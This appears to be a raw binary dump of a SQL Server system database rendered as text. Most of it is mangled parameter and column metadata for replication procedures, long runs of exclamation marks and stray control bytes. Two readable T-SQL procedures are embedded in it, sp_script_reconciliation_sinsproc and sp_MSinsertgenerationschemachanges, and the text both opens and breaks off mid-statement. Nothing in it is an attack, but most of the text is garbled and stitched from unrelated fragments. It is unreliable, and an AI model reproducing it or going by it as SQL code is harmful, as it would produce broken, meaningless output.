        begin
            select 
                @frequencytype = frequency_type,
                @frequencyinterval = frequency_interval,
                @frequencyrelativeinterval = frequency_relative_interval,
                @frequencyrecurrencefactor = frequency_recurrence_factor,
                @frequencysubday = frequency_subday,
                @frequencysubdayinterval = frequency_subday_interval,
                @activestarttimeofday = active_start_time_of_day,
                @activeendtimeofday = active_end_time_of_day,
                @activestartdate = active_start_date,
                @activeenddate = active_end_date
            from MSsubscriber_schedule 
            where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0    
            
            if @f!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-
`)>N0-00Ess_dtype0-00Kss_usertype0-88
Afixlen0-Gtype_name0-Ylocalized_typename0-44Soledb_data_type0-44Wmanaged_type_code0-hhIbest_match0-	hhUfixed_prec_scale0-
hhCis_long0-00Wauto_unique_value0-88
Qdata_precision0-
88
Ydatetime_precision0-88
Kcolumn_size0-@@Qliteral_prefix0-@@Qliteral_suffix0-88
Isearchable0-00Yunsigned_attribute0-I@publisher0-C@script0-hhQ@security_mode0-A@login0-G@password0-M@publication0-E@article0-88
A@objid0-88
A@artid0-hhK@queued_pub0-b$$A@pubid0-b?@role0-JMtask_address0-JUsos_task_address0-JWappdomain_address0-J4?state0-J4Kabort_state0-J4=type0-J88
Qaffinity_count0-J88
Yforced_yield_count0- O@replnick_old0- O@replnick_new0-=U@collection_name0-=M@schema_name0-=W@target_namespace0-!I@publisher0-!O@publisher_db0-!M@publication0-!K@subscriber0-!Q@subscriber_db0-!88
Y@subscription_type0-?C@job_id0-?W@dts_package_name0-?_@dts_package_password0-?88
_@dts_package_location0-?hhU@change_password-
?hh0-a*M@publication0-a*E@article0-DM@publication0-DE@article0-DQ@source_object0-D?@type0-DM@description0-DU@column_tracking0-DC@status0-DW@pre_creation_cmd0-D	U@creation_script0-D
Q@schema_option0-D]@subset_filterclause0-DW@article_resolver0-D

Q@resolver_info0-DO@source_owner0-DY@destination_owner0-D
[@vertical_partition0-D
]@auto_identity_range0-D[@pub_identity_range0-DS@identity_range0-D88
I@threshold0-D88
i@verify_resolver_signature0-D[@destination_object0-D
k@allow_interactive_resolver0-D
g@fast_multicol_updateproc0-D88
Y@check_permissions0-Dhhi@force_invalidate_snapshot0-D
a@published_in_tran_pub0-Dhhi@force_reinit_subscription0-D
@logical_record_level_conflict_detection0-D
@logical_record_level_conflict_resolution0-D00Y@partition_options0-D 88
W@processing_order0-D!00i@subscriber_upload_options0-D"q@identityrangemanagementoption0-D#
U@delete_tracking0-D$
a@compensate_for_errors0-D%
]@stream_blob_columns0-J
$$A@pubid0-J
W@maxgen_whenaddedI"b	3q
D?,3.?^
{cN8a
z
1
A

h
)
	}	0	6e$Q
x5J]\{$x1`o->Y)kw0-88
Egroup_id0-4=name0-88
Cpool_id0-==_statistics_start_time0-[total_request_count0-itotal_queued_request_count0-88
]active_request_count0-88
]queued_request_count0-	stotal_cpu_limit_violation_count0-
Ytotal_cpu_usage_ms0-cmax_request_cpu_time_ms0-88
Yblocked_task_count0-
_total_lock_wait_count0-ctotal_lock_wait_time_ms0-qtotal_query_optimization_count0-total_suboptimal_plan_generation_count0-mtotal_reduced_memgrant_count0-kmax_request_grant_memory_kb0-mactive_parallel_thread_count0-4Iimportance0-88
urequest_max_memory_grant_percent0-88
erequest_max_cpu_time_sec0-88
urequest_memory_grant_timeout_sec0-88
Ygroup_max_requests0-88
Cmax_dop0-88
Weffective_max_dop0-|I@publisher0-|O@publisher_db0-|M@publication0-|hhE@use_ftp0-|88
Y@subscription_type0-|hhK@force_zero0-88
Gobject_id0-44Uprocedure_number0-=name0-88
Mparameter_id0-00Qsystem_type_id0-88
Muser_type_id0-00Gprecision0-00?scale0-	88
Imax_length0-
44Sreal_max_length0-hhGis_output0-hhWhas_default_value0-
bbPPOdefault_value0-88
Wxml_collection_id0-I@publisher0-K@table_name0-M@table_owner0-U@table_qualifier0-dK@table_type0-hhM@fUsePattern0-gI@publisher0-gO@publisher_db0-gM@publication0-ghhG@reserved0-ghhM@from_backup-zhh0-z?@type0-z?@dbms0-zE@version0-[00?@mode0-[$$K@primary_id0-[S@primary_server0-[S@monitor_server0-[hho@monitor_server_security_mode0-[W@primary_database0-[88
W@backup_threshold0-[88
U@threshold_alert0-[	hhe@threshold_alert_enabled0-[
W@last_backup_file0-[==W@last_backup_date0-[==_@last_backup_date_utc0-[
88
g@history_retention_period0-[hh]@ignoreremotemonitor0--t$$A@pubid0--t$$A@artid0--tG@property0--tA@value0-qJM@publication0-qJK@subscriber0-qJQ@subscriber_db0-qJI@publisher0-qJO@publisher_db0-)$$A@pubid0-)y@dynamic_snapshot_views_table_name0-)hha@need_ctsview_rowtrack0-)hh_@create_dynamic_views0-)M@max_bcp_gen!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!UH7qA^~Ml<OUp#Z`	o&

S

x#8

W

	t		A>L1uH%`-nF)	op00-$$A@pubid0-00A@value0-M$$Oconnection_id0-M$$[transport_stream_id0-M44?state0-MxxIstate_desc0-M==Mconnect_time0-M==Ilogin_time0-M4_authentication_method0-M4Qprincipal_name0-M	4Uremote_user_name0-M
==Ylast_activity_time0-MhhGis_accept0-M44Klogin_state0-M
xxUlogin_state_desc0-M88
[peer_certificate_id0-M44]encryption_algorithm0-Mxxgencryption_algorithm_desc0-M44Sreceives_posted0-Mhhiis_receive_flow_controlled0-M44Msends_posted0-Mhhcis_send_flow_controlled0-MUtotal_bytes_sent0-M]total_bytes_received0-M]total_fragments_sent0-Metotal_fragments_received0-MKtotal_sends0-MQtotal_receives0-M$$[peer_arbitration_id-tL0-tI@parameter0-ՌS@publisher_type0-ՌI@publisher0-ՌhhQ@security_mode0-ՌA@login0-ՌG@password0-Ռ88
U@connect_timeout0-TC@job_id0-TQ@offloadserver0-TK@agent_type0-'Kcolumn_name0-'88
Qcolumn_ordinal0-'Ksource_info0-'Odest_datatype0-'Kdest_length0-'Qdest_precision0-'88
Idest_scale0-'hhOdest_nullable0-'	hhEis_pkcol0-'
hhIis_defined0-'hhMis_published0-'hhEis_valid0-'
hhEdataloss0-'88
Imapping_id0-'88
O@publisher_id0-'88
G@table_id0-'88
K@article_id0-'S@publisher_dbms0-'Y@publisher_version0-'hhG@defaults0-<M@publication0-<O@source_table0-n
M@publication0-n
88
]@compatibility_level0-n
$$E@pubidin0-uC@object0-u$$A@artid0-uA@owner0-u$$A@pubid0-uhh[@recreate_repl_view!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:DTo Mr#>

S

Al)L

_

		9	,zaJOZ	a1`H
--5)2,V0-/88
A@artid0-/00?@mode0-/00Q@publishertype0-/I@publisher0--3C@dbname0--3_@increased_partitions0-^c488
K@profile_id0-^c4S@parameter_name0-^c4U@parameter_value0-Ӻ6G@loginame-9>hh0-9>88
A@objid0-9>Q@schema_option0-9>88
K@tran_artid0-{H>?@name0-{H>(I@namespace0-{H>hhG@viewonly0-M>M@publication0-M>E@article0-M>
O@source_table0-M>Y@destination_table0-M>
[@vertical_partition0-M>?@type0-M>C@filter0-M>M@sync_object0-M>	E@ins_cmd0-M>
E@del_cmd0-M>E@upd_cmd0-M>U@creation_script0-M>
M@description0-M>W@pre_creation_cmd0-M>ccQ@filter_clause0-M>Q@schema_option0-M>Y@destination_owner0-M>00C@status0-M>O@source_owner0-M>Y@sync_object_owner0-M>O@filter_owner0-M>Q@source_object0-M>88
A@artid0-M>q@identityrangemanagementoption0-M>
]@auto_identity_range0-M>[@pub_identity_range0-M>S@identity_range0-M>88
I@threshold0-M>hhi@force_invalidate_snapshot0-M>hha@use_default_datatypes0-M>I@publisher0-M> S@publisher_type0-M>!
i@fire_triggers_on_snapshot0-&?44Isession_id0-<7$$A@pubid0-<7$$A@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QT

O
&E

Z

	_		f!Jm3dVDgz1`b-HY)
A-=0-K@subscriber0-44K@agent_type0-88
S@frequency_type0-88
[@frequency_interval0-88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-88
W@frequency_subday0-88
i@frequency_subday_interval0-	88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-88
Y@active_start_date0-88
U@active_end_date0-
I@publisher0-[	Ocache_address0-[	4=name0-[	x4x=type0-[	Epages_kb0-[	Spages_in_use_kb0-[	Oentries_count0-[	]entries_in_use_count-88
0-&88
K@article_id0-&I@collation0-SYCONSTRAINT_CATALOG0-SWCONSTRAINT_SCHEMA0-SSCONSTRAINT_NAME0-S@@MCHECK_CLAUSE0-o E@command0-o M@publication0-o hhE@execute0-o hhi@change_results_originator0-#A@owner0-#A@table0-B)O@table_schema0-[:88
G@newvalue->0->?@type0->K@length_min0->K@length_max0->Q@precision_min0->Q@precision_max0->88
I@scale_min0->88
I@scale_max0->88
O@createparams0-
r?I@publisher0-
r?C@schema0-
r?I@operation0-@G@loginame0-,q@M@publication0-,q@@K@scriptfile0-,q@hhI@skiperror0-CO@table_server0-CQ@table_catalog0-CK@table_name0-CO@table_schema0-KI@publisher0-KM@publication0-KE@article0-KA@owner0-KI@tablename0-ULI@publisher0-ULS@packageversion0-VE@numrows0-
O@source_owner0-
O@source_table0-
M@publication0-
]@qualified_tablename0-%2?@type0-%244=@len0-%288
?@prec0-%288
A@scale0-_M@publication0-_00A@level0-S@conflict_table0-Q@source_object0-$$E@rowguid0-Y@origin_datasource0-
]@drop_table_if_empty0--!$$A@pubid0--!88
E@maxrows0--!@E@genlist0--!88
I@tablenick0--!$$E@rowguid0--!88
a@filter_partialdeletes0--!88
c@specified_article_only0--!C@mingen0--!	C@maxgen0--!
88
M@compatlevel0--!hha@enumentirerowmetadata!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:U9NkK
j
!
4y2C

a
P
Iv1		f	!	*=j`
N:Qa>~I`j-09)!mz70-:44O@publisher_id0-:O@publisher_db0-:M@publication0-:44Q@subscriber_id0-:Q@subscriber_db0-:88
Y@subscription_type0-:hhY@keep_for_last_run0-:hhG@job_only0-
>>5?@minx0-
>>5?@miny0-
>>5?@maxx0-
>>5?@maxy0-
88
I@gridsize10-
88
I@gridsize20-
88
I@gridsize30-
88
I@gridsize40-
	88
W@cells_per_object0-

U@base_table_rows0-
Y@index_total_pages0-
O@results_card0-

U@internaltabname0-
00Q@do_output_xml0-
K@xml_output0-
00Q@verboseoutput0-
Q88
A@artid0-
QI@publisher0-
QS@publisher_type0-$I@job_login0-$O@job_password0-$G@job_name0-$44e@publisher_security_mode0-$U@publisher_login0-$[@publisher_password0-$I@publisher0-$S@publisher_type-	0-	K@servername0-<M@publication0-<I@publisher0-<O@publisher_db0-<hhG@reserved0-ƒ?@name0-ƒhhM@show_distdb0-eȲM@publication0-eȲK@subscriber0-eȲQ@subscriber_db0-Ҳ$$A@subid0-Ҳ$$A@artid0-Ҳ00K@range_type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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

=
j:	
m

	X		y&KZ]t+d%1Dg&FK`-;7)
_0-YA@ftcat0-FhhA@onoff0-@.OI@publisher0-@.OK@subscriber0-@.O00K@agent_type0-@.O88
S@frequency_type0-@.O88
[@frequency_interval0-@.O88
m@frequency_relative_interval0-@.O88
m@frequency_recurrence_factor0-@.O88
W@frequency_subday0-@.O	88
i@frequency_subday_interval0-@.O
88
g@active_start_time_of_day0-@.O88
c@active_end_time_of_day0-@.O88
Y@active_start_date0-@.O
88
U@active_end_date0-O4Mcluster_name0-O00Kquorum_type0-Ox4xUquorum_type_desc0-O00Mquorum_state0-Ox4xWquorum_state_desc0-T88
A@tabid0-V?@dbms0-VE@version0-[88
]@schemasubtype_adddf0-[88
e@schemasubtype_addcolumn0-[88
A@objid0-[hhM@debug_print0-i4OTABLE_CATALOG0-i4MTABLE_SCHEMA0-i4ITABLE_NAME0-i@4@SVIEW_DEFINITION0-ihhMCHECK_OPTION0-ihhMIS_UPDATABLE0-i@4@KDESCRIPTION0-V$$G@agent_id0-V00K@agent_type0-VG@database0-V00?@mode-*hh0-*$$A@artid0-*88
E@artnick0-GM@publication0-nD G@viewname0-nDhh]@has_dynamic_filters0-nDq@dynamic_filters_function_list0-nDhhS@uses_host_name0-nDhhW@uses_suser_sname0-NZI@tablename0-NZI@ownername0-NZG@procname0-NZ$$A@pubid0-NZ$$A@artid0-NZhhg@generate_downlevel_procs0-NZhhg@generate_subscriber_proc0-NZY@destination_owner!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

_

	v	'	4Hz9hSDn,p	Iov+u
`
\
`o	-):IGțC0-I@publisher0-88
Q@versionsmatch0-S@packageversion0-1S@primary_server0-1W@primary_database0-1e@backup_source_directory0-1o@backup_destination_directory0-188
a@file_retention_period0-1hho@monitor_server_security_mode0-1_@monitor_server_login0-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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,\M_`Y
<	|j0sq5@ 18create procedure sys.sp_script_reconciliation_sinsproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL         -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptinsproccore 
                @artid = @artid
                ,@format = 5
                ,@mode = 2              -- snapshot reconciliation mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
0; V8create procedure sys.sp_MSinsertgenerationschemachanges
    @publication sysname
AS
    declare @mingen         bigint
    declare @lastrecgen     bigint
    declare @lastrecguid    uniqueidentifier
    declare @lastsentgen    bigint
    declare @lastsentguid   uniqueidentifier
    declare @db_name        sysname
    declare @repid          uniqueidentifier
    declare @pubid          uniqueidentifier
    declare @schemaversion  int 
    declare @schemaguid     uniqueidentifier
    declare @schematype     int
    declare @schematext     nvarchar(2000)
    declare @artid          uniqueidentifier
    declare @retcode        int
    set nocount on

    set @lastrecgen = NULL
    set @lastsentgen = NULL
    set @db_name = db_name()
    
    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @db_name, NULL, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1
    
    
    SELECT @repid = subid FROM dbo.sysmergesubscriptions where pubid = @pubid and subid = @pubid
    if @repid is NULL
    begin
        RAISERROR(20021, 16, -1)
        return (1)
    end
        

    begin tran
    save TRAN MSinsertgenerationschemachanges   

    select @lastrecgen = max(g.generation) 
        from MSmerge_genhistory g,
        (select isnull(gen2.generation, gen1.generation) as generation
            from (select max(generation) as generation from dbo.MSmerge_genhistory where genstatus in (1,2)) as gen1,
                    (select min(generation) as generation from dbo.MSmerge_genhistory where genstatus in (0,4)) as gen2
        ) as minopengen
    where g.generation <= minopengen.generation and g.genstatus in (1,2)
    
    if @lastrecgen IS NOT NULL
    begin
        select @lastrecguid = guidsrc from dbo.MSmerge_genhistory where generation = @lastrecgen

        set @artid = NULL
        set @schematype = 5 /* last rec gen schema type */
        select @schematext = 'exec dbo.sp_MSsetlastrecgen ' + '''' + convert(nchar(36), @repid) + ''''  + ',' + '''' + convert(nvarchar, @lastrecgen) + '''' + ',' + '''' + convert(nchar(36), @lastrecguid) + ''''

        if exists (select * from dbo.sysmergeschemachange
                where pubid = @pubid 
                AND schematype = @schematype)
        begin
            /* Select the existing schema guid */
            select @schemaversion = schemaversion, @schemaguid = schemaguid from dbo.sysmergeschemachange
                where pubid = @pubid 
                AND schematype = @schematype
            /*
            ** Update the schema change version
            */
            exec @retcode = sys.sp_MSupdateschemachange @pubid, @artid, @schemaversion, 
                @schemaguid, @schematype, @schematext
            if @@error <> 0 or @retcode <> 0
                goto FAILURE
        end
        else        
        begin
            /* Insert the schema change */
            select @schemaversion = schemaversion from dbo.sysmergeschemachange
            if (@schemaversion is NULL)
                set @schemaversion = 1
            else
                select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                
            /* generate a new schema guid */
            set @schemaguid = newid()
            exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, 
                @schemaguid, @schematype, @schematext
            if @@error <> 0 or @retcode <> 0
                goto FAILURE
        end             
    end     

    set @schematype = 17 /* last sent gen schema type */
    set @artid = NULL
    select @schematext = 'exec sys.sp_MScomputelastsentgen ' + '''' + convert(nvarchar(36), @repid) + '''' 
    if exists (select * from dbo.sysmergeschemachange
            where pubid = @pubid 
            AND schematype = @schematype)
    begin
        /* Select the existing schema guid */
        select @schemaversion = schemaversion, @schemaguid = schemaguid from dbo.sysmergeschemachange
            where pubid = @pubid 
            AND schematype = @schematype
        /*
        ** Update the schema change version
        */
        exec @retcode = sys.sp_MSupdateschemachange @pubid, @artid, @schemaversion, 
            @schemaguid, @schematype, @schematext
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
    end
    else        
    begin
        /* Insert the schema change */
        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            
        /* generate a new schema guid */
        set @schemaguid = newid()
        exec @retcode = sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, 
            @schemaguid, @schematype, @schematext
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
    end             
                
    COMMIT TRAN         
    RETURN 0

FAILURE:
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT >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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!